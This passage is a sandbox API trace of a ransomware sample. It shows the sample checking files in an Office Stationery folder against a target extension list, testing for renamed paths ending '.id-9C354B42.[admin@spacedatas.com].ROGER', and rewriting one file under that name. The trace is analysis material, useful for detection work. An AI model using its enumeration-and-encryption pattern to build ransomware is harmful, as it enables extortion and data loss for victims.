5 [0046.782] lstrcmpiW (lpString1=".docx", lpString2="n.htm") returned -1 [0046.782] lstrlenW (lpString=".pdf") returned 4 [0046.782] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0046.782] lstrlenW (lpString=".xls") returned 4 [0046.782] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0046.782] lstrlenW (lpString=".xlsx") returned 5 [0046.782] lstrcmpiW (lpString1=".xlsx", lpString2="n.htm") returned -1 [0046.782] lstrlenW (lpString=".ppt") returned 4 [0046.782] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0046.782] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0046.782] lstrlenW (lpString=".zip") returned 4 [0046.782] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0046.782] lstrlenW (lpString=".rar") returned 4 [0046.782] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0046.782] lstrlenW (lpString=".bz2") returned 4 [0046.782] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0046.782] lstrlenW (lpString=".7z") returned 3 [0046.782] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0046.782] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0046.782] lstrlenW (lpString=".dbf") returned 4 [0046.782] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0046.782] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0046.782] lstrlenW (lpString=".1cd") returned 4 [0046.782] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0046.782] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0046.782] lstrlenW (lpString=".jpg") returned 4 [0046.782] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0046.782] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0046.782] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0046.783] lstrlenW (lpString=".doc") returned 4 [0046.783] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0046.783] lstrlenW (lpString=".docx") returned 5 [0046.783] lstrcmpiW (lpString1=".docx", lpString2="n.htm") returned -1 [0046.783] lstrlenW (lpString=".pdf") returned 4 [0046.783] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0046.783] lstrlenW (lpString=".xls") returned 4 [0046.783] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0046.783] lstrlenW (lpString=".xlsx") returned 5 [0046.783] lstrcmpiW (lpString1=".xlsx", lpString2="n.htm") returned -1 [0046.783] lstrlenW (lpString=".ppt") returned 4 [0046.783] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0046.783] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0046.783] lstrlenW (lpString=".zip") returned 4 [0046.783] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0046.783] lstrlenW (lpString=".rar") returned 4 [0046.783] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0046.783] lstrlenW (lpString=".bz2") returned 4 [0046.783] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0046.783] lstrlenW (lpString=".7z") returned 3 [0046.783] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0046.783] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0046.783] lstrlenW (lpString=".dbf") returned 4 [0046.783] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0046.783] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0046.783] lstrlenW (lpString=".1cd") returned 4 [0046.783] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0046.783] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0046.783] lstrlenW (lpString=".jpg") returned 4 [0046.783] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0046.784] lstrcmpiW (lpString1=".jpg", lpString2=".ROGER") returned -1 [0046.784] lstrlenW (lpString="Garden.jpg") returned 10 [0046.784] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0046.784] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x437ff1c | out: lpFileSize=0x437ff1c*=23871) returned 1 [0046.784] CloseHandle (hObject=0x3a0) returned 1 [0046.784] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg")) returned 0x20 [0046.784] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0046.784] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0046.784] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0046.784] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0046.784] lstrlenW (lpString=".doc") returned 4 [0046.784] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0046.784] lstrlenW (lpString=".docx") returned 5 [0046.784] lstrcmpiW (lpString1=".docx", lpString2="n.jpg") returned -1 [0046.784] lstrlenW (lpString=".pdf") returned 4 [0046.784] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0046.784] lstrlenW (lpString=".xls") returned 4 [0046.784] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0046.784] lstrlenW (lpString=".xlsx") returned 5 [0046.785] lstrcmpiW (lpString1=".xlsx", lpString2="n.jpg") returned -1 [0046.785] lstrlenW (lpString=".ppt") returned 4 [0046.785] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0046.785] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0046.785] lstrlenW (lpString=".zip") returned 4 [0046.785] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0046.785] lstrlenW (lpString=".rar") returned 4 [0046.785] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0046.785] lstrlenW (lpString=".bz2") returned 4 [0046.785] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0046.785] lstrlenW (lpString=".7z") returned 3 [0046.785] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0046.785] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0046.785] lstrlenW (lpString=".dbf") returned 4 [0046.785] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0046.785] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0046.785] lstrlenW (lpString=".1cd") returned 4 [0046.785] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0046.785] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0046.785] lstrlenW (lpString=".jpg") returned 4 [0046.785] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0046.785] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0046.785] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0046.785] lstrlenW (lpString=".doc") returned 4 [0046.785] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0046.785] lstrlenW (lpString=".docx") returned 5 [0046.785] lstrcmpiW (lpString1=".docx", lpString2="n.jpg") returned -1 [0046.785] lstrlenW (lpString=".pdf") returned 4 [0046.785] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0046.785] lstrlenW (lpString=".xls") returned 4 [0046.785] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0046.785] lstrlenW (lpString=".xlsx") returned 5 [0046.786] lstrcmpiW (lpString1=".xlsx", lpString2="n.jpg") returned -1 [0046.786] lstrlenW (lpString=".ppt") returned 4 [0046.786] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0046.786] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0046.786] lstrlenW (lpString=".zip") returned 4 [0046.786] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0046.786] lstrlenW (lpString=".rar") returned 4 [0046.786] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0046.786] lstrlenW (lpString=".bz2") returned 4 [0046.786] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0046.786] lstrlenW (lpString=".7z") returned 3 [0046.786] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0046.786] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0046.786] lstrlenW (lpString=".dbf") returned 4 [0046.786] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0046.786] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0046.786] lstrlenW (lpString=".1cd") returned 4 [0046.786] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0046.786] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0046.786] lstrlenW (lpString=".jpg") returned 4 [0046.786] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0046.786] lstrcmpiW (lpString1=".emf", lpString2=".ROGER") returned -1 [0046.786] lstrlenW (lpString="Genko_1.emf") returned 11 [0046.786] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_1.emf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0046.787] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x437ff1c | out: lpFileSize=0x437ff1c*=5524) returned 1 [0046.787] CloseHandle (hObject=0x3a0) returned 1 [0046.787] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_1.emf")) returned 0x20 [0046.787] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_1.emf.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0046.787] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_1.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0046.787] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0046.787] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0046.788] lstrlenW (lpString=".doc") returned 4 [0046.788] lstrcmpiW (lpString1=".doc", lpString2=".emf") returned -1 [0046.788] lstrlenW (lpString=".docx") returned 5 [0046.788] lstrcmpiW (lpString1=".docx", lpString2="1.emf") returned -1 [0046.788] lstrlenW (lpString=".pdf") returned 4 [0046.788] lstrcmpiW (lpString1=".pdf", lpString2=".emf") returned 1 [0046.788] lstrlenW (lpString=".xls") returned 4 [0046.788] lstrcmpiW (lpString1=".xls", lpString2=".emf") returned 1 [0046.788] lstrlenW (lpString=".xlsx") returned 5 [0046.788] lstrcmpiW (lpString1=".xlsx", lpString2="1.emf") returned -1 [0046.788] lstrlenW (lpString=".ppt") returned 4 [0046.788] lstrcmpiW (lpString1=".ppt", lpString2=".emf") returned 1 [0046.788] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0046.788] lstrlenW (lpString=".zip") returned 4 [0046.788] lstrcmpiW (lpString1=".zip", lpString2=".emf") returned 1 [0046.788] lstrlenW (lpString=".rar") returned 4 [0046.788] lstrcmpiW (lpString1=".rar", lpString2=".emf") returned 1 [0046.788] lstrlenW (lpString=".bz2") returned 4 [0046.788] lstrcmpiW (lpString1=".bz2", lpString2=".emf") returned -1 [0046.788] lstrlenW (lpString=".7z") returned 3 [0046.788] lstrcmpiW (lpString1=".7z", lpString2="emf") returned -1 [0046.788] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0046.788] lstrlenW (lpString=".dbf") returned 4 [0046.788] lstrcmpiW (lpString1=".dbf", lpString2=".emf") returned -1 [0046.788] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0046.788] lstrlenW (lpString=".1cd") returned 4 [0046.788] lstrcmpiW (lpString1=".1cd", lpString2=".emf") returned -1 [0046.788] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0046.788] lstrlenW (lpString=".jpg") returned 4 [0046.788] lstrcmpiW (lpString1=".jpg", lpString2=".emf") returned 1 [0046.788] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0046.789] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0046.789] lstrlenW (lpString=".doc") returned 4 [0046.789] lstrcmpiW (lpString1=".doc", lpString2=".emf") returned -1 [0046.789] lstrlenW (lpString=".docx") returned 5 [0046.789] lstrcmpiW (lpString1=".docx", lpString2="1.emf") returned -1 [0046.789] lstrlenW (lpString=".pdf") returned 4 [0046.789] lstrcmpiW (lpString1=".pdf", lpString2=".emf") returned 1 [0046.789] lstrlenW (lpString=".xls") returned 4 [0046.789] lstrcmpiW (lpString1=".xls", lpString2=".emf") returned 1 [0046.789] lstrlenW (lpString=".xlsx") returned 5 [0046.789] lstrcmpiW (lpString1=".xlsx", lpString2="1.emf") returned -1 [0046.789] lstrlenW (lpString=".ppt") returned 4 [0046.789] lstrcmpiW (lpString1=".ppt", lpString2=".emf") returned 1 [0046.789] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0046.789] lstrlenW (lpString=".zip") returned 4 [0046.789] lstrcmpiW (lpString1=".zip", lpString2=".emf") returned 1 [0046.789] lstrlenW (lpString=".rar") returned 4 [0046.789] lstrcmpiW (lpString1=".rar", lpString2=".emf") returned 1 [0046.789] lstrlenW (lpString=".bz2") returned 4 [0046.789] lstrcmpiW (lpString1=".bz2", lpString2=".emf") returned -1 [0046.789] lstrlenW (lpString=".7z") returned 3 [0046.789] lstrcmpiW (lpString1=".7z", lpString2="emf") returned -1 [0046.789] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0046.789] lstrlenW (lpString=".dbf") returned 4 [0046.789] lstrcmpiW (lpString1=".dbf", lpString2=".emf") returned -1 [0046.789] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0046.789] lstrlenW (lpString=".1cd") returned 4 [0046.789] lstrcmpiW (lpString1=".1cd", lpString2=".emf") returned -1 [0046.789] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0046.789] lstrlenW (lpString=".jpg") returned 4 [0046.789] lstrcmpiW (lpString1=".jpg", lpString2=".emf") returned 1 [0046.790] lstrcmpiW (lpString1=".emf", lpString2=".ROGER") returned -1 [0046.790] lstrlenW (lpString="Genko_2.emf") returned 11 [0046.790] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_2.emf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0046.790] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x437ff1c | out: lpFileSize=0x437ff1c*=10340) returned 1 [0046.790] CloseHandle (hObject=0x3a0) returned 1 [0046.790] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_2.emf")) returned 0x20 [0046.790] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_2.emf.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0046.790] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_2.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0046.790] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0046.790] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0046.790] lstrlenW (lpString=".doc") returned 4 [0046.790] lstrcmpiW (lpString1=".doc", lpString2=".emf") returned -1 [0046.790] lstrlenW (lpString=".docx") returned 5 [0046.790] lstrcmpiW (lpString1=".docx", lpString2="2.emf") returned -1 [0046.790] lstrlenW (lpString=".pdf") returned 4 [0046.790] lstrcmpiW (lpString1=".pdf", lpString2=".emf") returned 1 [0046.790] lstrlenW (lpString=".xls") returned 4 [0046.790] lstrcmpiW (lpString1=".xls", lpString2=".emf") returned 1 [0046.790] lstrlenW (lpString=".xlsx") returned 5 [0046.791] lstrcmpiW (lpString1=".xlsx", lpString2="2.emf") returned -1 [0046.791] lstrlenW (lpString=".ppt") returned 4 [0046.791] lstrcmpiW (lpString1=".ppt", lpString2=".emf") returned 1 [0046.791] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0046.791] lstrlenW (lpString=".zip") returned 4 [0046.791] lstrcmpiW (lpString1=".zip", lpString2=".emf") returned 1 [0046.791] lstrlenW (lpString=".rar") returned 4 [0046.791] lstrcmpiW (lpString1=".rar", lpString2=".emf") returned 1 [0046.791] lstrlenW (lpString=".bz2") returned 4 [0046.791] lstrcmpiW (lpString1=".bz2", lpString2=".emf") returned -1 [0046.791] lstrlenW (lpString=".7z") returned 3 [0046.791] lstrcmpiW (lpString1=".7z", lpString2="emf") returned -1 [0046.791] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0046.791] lstrlenW (lpString=".dbf") returned 4 [0046.791] lstrcmpiW (lpString1=".dbf", lpString2=".emf") returned -1 [0046.791] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0046.791] lstrlenW (lpString=".1cd") returned 4 [0046.791] lstrcmpiW (lpString1=".1cd", lpString2=".emf") returned -1 [0046.791] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0046.791] lstrlenW (lpString=".jpg") returned 4 [0046.791] lstrcmpiW (lpString1=".jpg", lpString2=".emf") returned 1 [0046.791] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0046.791] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0046.791] lstrlenW (lpString=".doc") returned 4 [0046.791] lstrcmpiW (lpString1=".doc", lpString2=".emf") returned -1 [0046.791] lstrlenW (lpString=".docx") returned 5 [0046.791] lstrcmpiW (lpString1=".docx", lpString2="2.emf") returned -1 [0046.791] lstrlenW (lpString=".pdf") returned 4 [0046.791] lstrcmpiW (lpString1=".pdf", lpString2=".emf") returned 1 [0046.791] lstrlenW (lpString=".xls") returned 4 [0046.791] lstrcmpiW (lpString1=".xls", lpString2=".emf") returned 1 [0046.792] lstrlenW (lpString=".xlsx") returned 5 [0046.792] lstrcmpiW (lpString1=".xlsx", lpString2="2.emf") returned -1 [0046.792] lstrlenW (lpString=".ppt") returned 4 [0046.792] lstrcmpiW (lpString1=".ppt", lpString2=".emf") returned 1 [0046.792] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0046.792] lstrlenW (lpString=".zip") returned 4 [0046.792] lstrcmpiW (lpString1=".zip", lpString2=".emf") returned 1 [0046.792] lstrlenW (lpString=".rar") returned 4 [0046.792] lstrcmpiW (lpString1=".rar", lpString2=".emf") returned 1 [0046.792] lstrlenW (lpString=".bz2") returned 4 [0046.792] lstrcmpiW (lpString1=".bz2", lpString2=".emf") returned -1 [0046.792] lstrlenW (lpString=".7z") returned 3 [0046.792] lstrcmpiW (lpString1=".7z", lpString2="emf") returned -1 [0046.792] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0046.792] lstrlenW (lpString=".dbf") returned 4 [0046.792] lstrcmpiW (lpString1=".dbf", lpString2=".emf") returned -1 [0046.792] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0046.792] lstrlenW (lpString=".1cd") returned 4 [0046.792] lstrcmpiW (lpString1=".1cd", lpString2=".emf") returned -1 [0046.792] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0046.792] lstrlenW (lpString=".jpg") returned 4 [0046.792] lstrcmpiW (lpString1=".jpg", lpString2=".emf") returned 1 [0046.792] lstrcmpiW (lpString1=".emf", lpString2=".ROGER") returned -1 [0046.792] lstrlenW (lpString="Graph.emf") returned 9 [0046.792] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\graph.emf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0046.793] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x437ff1c | out: lpFileSize=0x437ff1c*=116724) returned 1 [0046.793] CloseHandle (hObject=0x390) returned 1 [0046.793] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\graph.emf")) returned 0x20 [0046.793] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\graph.emf.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0046.793] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\graph.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0046.793] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf") returned 67 [0046.793] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf") returned 67 [0046.794] lstrlenW (lpString=".doc") returned 4 [0046.794] lstrcmpiW (lpString1=".doc", lpString2=".emf") returned -1 [0046.794] lstrlenW (lpString=".docx") returned 5 [0046.794] lstrcmpiW (lpString1=".docx", lpString2="h.emf") returned -1 [0046.794] lstrlenW (lpString=".pdf") returned 4 [0046.794] lstrcmpiW (lpString1=".pdf", lpString2=".emf") returned 1 [0046.794] lstrlenW (lpString=".xls") returned 4 [0046.794] lstrcmpiW (lpString1=".xls", lpString2=".emf") returned 1 [0046.794] lstrlenW (lpString=".xlsx") returned 5 [0046.794] lstrcmpiW (lpString1=".xlsx", lpString2="h.emf") returned -1 [0046.794] lstrlenW (lpString=".ppt") returned 4 [0046.794] lstrcmpiW (lpString1=".ppt", lpString2=".emf") returned 1 [0046.794] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf") returned 67 [0046.794] lstrlenW (lpString=".zip") returned 4 [0046.794] lstrcmpiW (lpString1=".zip", lpString2=".emf") returned 1 [0046.794] lstrlenW (lpString=".rar") returned 4 [0046.794] lstrcmpiW (lpString1=".rar", lpString2=".emf") returned 1 [0046.794] lstrlenW (lpString=".bz2") returned 4 [0046.794] lstrcmpiW (lpString1=".bz2", lpString2=".emf") returned -1 [0046.794] lstrlenW (lpString=".7z") returned 3 [0046.794] lstrcmpiW (lpString1=".7z", lpString2="emf") returned -1 [0046.794] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf") returned 67 [0046.794] lstrlenW (lpString=".dbf") returned 4 [0046.794] lstrcmpiW (lpString1=".dbf", lpString2=".emf") returned -1 [0046.810] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.810] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.810] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\preview.gif.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0046.812] GetLastError () returned 0x0 [0046.812] ReadFile (in: hFile=0x3a0, lpBuffer=0x4fa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x437fed4, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesRead=0x437fed4*=0x621, lpOverlapped=0x0) returned 1 [0046.813] WriteFile (in: hFile=0x3ac, lpBuffer=0x4fa0020*, nNumberOfBytesToWrite=0x630, lpNumberOfBytesWritten=0x437fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesWritten=0x437fc9c*=0x630, lpOverlapped=0x0) returned 1 [0046.814] ReadFile (in: hFile=0x3a0, lpBuffer=0x4fa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x437fed4, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesRead=0x437fed4*=0x0, lpOverlapped=0x0) returned 1 [0046.814] WriteFile (in: hFile=0x3ac, lpBuffer=0x4fa0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x437fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesWritten=0x437fc9c*=0xea, lpOverlapped=0x0) returned 1 [0046.814] SetEndOfFile (hFile=0x3ac) returned 1 [0046.814] CloseHandle (hObject=0x3ac) returned 1 [0046.815] SetFilePointerEx (in: hFile=0x3a0, 